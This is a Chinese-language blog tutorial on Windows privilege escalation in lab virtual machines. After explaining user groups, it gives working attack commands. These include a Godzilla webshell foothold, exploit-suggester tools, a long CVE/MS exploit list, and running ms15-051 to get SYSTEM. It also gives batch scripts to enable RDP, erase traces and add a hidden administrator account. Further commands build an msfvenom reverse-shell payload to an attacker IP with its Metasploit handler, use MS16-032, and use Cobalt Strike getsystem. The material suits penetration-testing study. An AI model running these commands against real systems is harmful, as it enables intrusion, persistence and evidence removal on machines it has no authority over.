【权限提升】windows平台-提权项目&MSF&CS&溢出漏洞

基本知识点

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这回用户账户也将具备该组所拥有的权限。

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别

是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“"完全访问权"”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

“所有人"权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有"的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予"Everyone"权限的文件,包括来宾组成员。

被标记为“创建者"权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以"叠加"使用,“叠加"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候"叠加"的使用就能减轻一部分劳动量了。

Windows 常用命令

Win server虚拟机案例

Windows server2008 r2 x64(手动提权)

哥斯拉生成asp后门,放入web根目录下,模拟已取得web权限。

  1. 信息收集

哥斯拉连接后门 查看系统版本以及当前权限

如果无法进行命令执行,可能是cmd程序不能正常使用,需要上传一个cmd源程序 调用执行

查看靶机当前进程(是否有杀软 能否绕过 大型服务器厂商会自带防火墙,例:阿里云盾等)

  1. 筛选EXP

WindowsVulnScan项目 百度网盘

简介:这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。

功能:查找主机上具有的CVE 查找具有公开EXP的CVE

使用
  1. 将KBCollect.ps1 上传至对方web根目录;powershell运行(上传是为了收集系统打的补丁信息,作用等同于systeminfo,当无法上传文件时,可以用systeminfo中的信息覆盖KB.json文件)

可能出现的问题:
无法加载文件 C:\inetpub\asp+access\KBCollect.ps1,因为在此系统中禁止执行脚本。
windows server PowerShell 默认是禁止运行脚本的,
通过以下命令设置:
get-executionpolicy 查看对应配置
Restricted 执行策略不允许任何脚本运行。
AllSigned 和 RemoteSigned 执行策略可防止 WindowsPowerShell 运行没有数字签名的脚本。
set-ExecutionPolicy RemoteSigned 设置

哥斯拉上好像不能在靶机上执行powershell文件(进入不了powershell窗口)

直接在靶机上执行.\KBCollect.ps1命令后,在当前目录生成KB.json文件

  1. 覆盖项目KB.json文件(一定格式的操作系统信息 补丁信息等)

Python安装第三方模块后运行项目

Python3 cve-check.py -C -f KB.json
wesng-master项目 百度网盘 (推荐)

简介:WES-NG是一个基于Windows系统信息实用程序输出的工具,该实用程序提供了操作系统易受攻击的漏洞列表,包括对这些漏洞的任何利用。支持Windows XP和Windows 11之间的所有Windows操作系统,包括对应的Windows Server操作系统。

使用

将systeminfo中的信息复制到项目目录中 systeminfo.txt

python wes.py systeminfo.txt -o vulns.csv
项目常用命令示例:
wes.py systeminfo.txt -o vulns.csv
wes.py systeminfo.txt -p KB4345421 KB4487017 //明确补丁
wes.py systeminfo.txt -i "Remote Code Execution" // 只显示有一定影响的漏洞
在线平台
EXP下载
https://github.com/k8gege/Ladon
https://github.com/Ascotbe/KernelHub #提权漏洞合集 (推荐)(常用溢出编号指定找EXP)
https://github.com/nomi-sec/PoC-in-GitHub #监控github上发布的exp(年份及编号指定找EXP)
https://github.com/offensive-security/exploitdb #模糊查询 没有针对性(类型及关键说明指定找EXP)
http://cve.mitre.org/data/refs/refmap/source-MS.html
说明:通过对应补丁漏洞编号寻可利用EXP
#截止2022年前的主流提权漏洞:
CVE-2021-33739 [Microsoft DWM 核心库特权提升漏洞](Windows 10、20)
CVE-2021-1732 [Windows Win32k 提权漏洞] (Windows 10, 2019/20H2)
CVE-2020-0787【Windows后台智能传输服务提权漏洞】(Windows 7/8/10、2008/2012/2016/2019)
CVE-2020-0796 [Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在一个远程代码执行漏洞,即“Windows SMBv3 客户端/服务器远程代码执行漏洞”] (Windows 1903/1909 )
CVE-2019-1458 [当Win32k组件无法正确处理内存中的对象时,Windows中存在一个特权提升漏洞](Windows 7/8/10/2008/2012/2016)
CVE-2019-0803 [Win32k 组件无法正确处理内存中的对象时,Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016/2019)
CVE-2018-8639 [Win32k 组件无法正确处理内存中的对象时,Windows 中存在提权漏洞] (Windows 7/8/10/2008/2012/2016)
CVE-2018-1038 [Windows 内核提权漏洞](Windows 7 SP1/Windows Server 2008 R2 SP1)
CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege Vulnerability](Windows 10 版本 1703/Windows 10 版本 1709/Windows Server 版本 1709)
CVE-2018-8453 [Windows Win32k 组件中的提权漏洞] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC 提权漏洞] (windows 7/8.1/10/2008/2012/2016)
MS17-017  [KB4013081] [GDI 调色板对象本地权限提升](Windows 7/8)
CVE-2017-8464  [LNK远程执行代码漏洞](Windows 10 / 8.1 / 7/2016/2010/2008)
CVE-2017-0213  [Windows COM 提权漏洞] (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 空指针取消引用拒绝服务] (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k 提权漏洞] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010  [KB4013389] [Windows 内核模式驱动程序] (windows 7/2008/2003/XP)
MS16-135  [KB3199135] [Windows 内核模式驱动程序] (2016)
MS16-111  [KB3186973] [内核 API] (Windows 10 10586 (32/64)/8.1)
MS16-098  [KB3178466] [内核驱动程序] (Win 8.1)
MS16-075  [KB3164038] [热土豆] (2003/2008/7/8/2012)
MS16-034  [KB3143145] [内核驱动程序] (2008/7/8/10/2012)
MS16-032  [KB3143141] [辅助登录句柄] (2008/7/8/10/2012)
MS16-016  [KB3136041] [WebDAV] (2008/Vista/7)
MS16-014  [K3134228] [远程代码执行] (2008/Vista/7)
MS15-097  [KB3089656] [远程代码执行] (win8.1/2012)
MS15-076  [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077  [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839] [内核驱动程序] (2003/2008/7/8/2012)
MS15-051  [KB3057191] [Windows内核模式驱动程序](2003/2008/7/8/2012)
MS15-015  [KB3031432] [内核驱动程序] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010  [KB3036220] [内核驱动程序] (2003/2008/7/8)
MS15-001  [KB3023266] [内核驱动程序] (2008/2012/7/8)
MS14-070  [KB2989935] [内核驱动程序] (2003)
MS14-068  [KB3011780] [域权限提升] (2003/2008/2012/7/8)
MS14-058  [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-066  [KB2992611] [Windows Schannel 允许远程代码执行] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1)
MS14-040  [KB2975684] [AFD 驱动程序] (2003/2008/2012/7/8)
MS14-002  [KB2914368] [NDProxy] (2003/XP)
MS13-053  [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005  [KB2778930] [内核模式驱动程序] (2003/2008/2012/win7/8)
MS12-042  [KB2972621] [服务总线] (2008/2012/win7)
MS12-020  [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080  [KB2592799] [AFD.sys] (2003/XP)
MS11-062  [KB2566454] [NDISTAPI] (2003/XP)
MS11-046  [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011  [KB2393802] [内核驱动程序] (2003/2008/7/XP/Vista)
MS10-092  [KB2305420] [任务计划程序] (2008/7)
MS10-065  [KB2267960] [FastCGI](IIS 5.1、6.0、7.0 和 7.5)
MS10-059  [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048  [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012  [KB971468] [SMB 客户端 Trans2 堆栈溢出] (Windows 7/2008R2)
MS09-050  [KB975517] [远程代码执行] (2008/Vista)
MS09-020  [KB970483] [IIS 6.0](IIS 5.1 和 6.0)
MS09-012  [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068  [KB957097] [远程代码执行] (2000/XP)
MS08-067  [KB958644] [远程代码执行] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066  [KB956803] [AFD.sys] (Windows 2000/XP/Server 2003)
MS08-025  [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040  [KB921883] [远程代码执行] (2003/xp/2000)
MS05-039  [KB899588] [PnP 服务] (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980] [RPC接口中的缓冲区溢出](/ NT / 2000 / XP / 2003)
  1. 上传EXP调用执行(ms15-051

MS15-051简介
Windows 内核模式驱动程序中的漏洞可能允许特权提升 (3057191) , 如果攻击者在本地登录并可以在内核模式下运行任意代码,最严重的漏洞可能允许特权提升。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。 攻击者必须拥有有效的登录凭据并能本地登录才能利用此漏洞。 远程或匿名用户无法利用此漏洞。
C:/Users/ms15-051.exe "whoami"

成功提权至system权限&&探测是否开启3389端口,开启3389端口

C:/Users/ms15-051.exe "netstat -ano"

也可以使用哥斯拉进行网络扫描

上传bat脚本开启3389端口
%3389.bat%
%开启3389端口%
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
%关闭3389端口%
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
C:/Users/ms15-051.exe "C:/Users/3389.bat"
痕迹清除bat脚本(开启3389端口后删除注册表记录以及自身)
echo Windows Registry Editor Version 5.00>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

del 3389.reg
del 3389.bat

尝试创建用户进行RDP登陆

哥斯拉中直接创建权限不够

使用system权限创建一个administrator组中的用户,进行远程登录

%add_user.bat%
net user whgojp Wh12345 /add
net localgroup administrators wh /add
net localgroup administrators
del add_user.bat

mstsc连接

手工提权缺点:自己找的EXP可能不能使用(实验环境不匹配等原因)

Windows server2012 x64(MSF全自动)(使用phpstudy搭建)

  1. kali(10.10.10.129) 打开msf 生成反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=3333 -f exe -o msf.exe
  1. 配置监听会话

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run
复现建议通过哥斯拉上传后门,模拟真实环境,上线之后权限为当前计算机用户权限(使用集成化软件phpstudy搭建,和linux下自己搭建apache服务上线权限有所区别)
另:java网站上传后门上线之后直接得到root(system)权限,语言特性,不需要提权

  1. 筛选EXP模块

手动导入补丁对应exp(不推荐)

use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁)

自动识别可用EXP

use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞)
set showdescription true
  1. 利用EXP(MS16-032)溢出提权

background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
run

Windows server2016 r2 x64 &2019 (CS半自动-反弹&插件&利用)

CS生成X64可执行程序,上传至2016和2019服务器,分别以不同权限用户进行上线

2019以administrator用户上线,回连对话之后直接getsystem即可获得system权限,然后以system权限

也可以使用第三方插件进行提权

PS:Windows server 2016 服务器自己新建用户,CS中暂时没用找到可用EXP进行提权……

尝试在MSF中进行提权。

三个exp都试了一遍,都没有成功……(插个眼)
  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值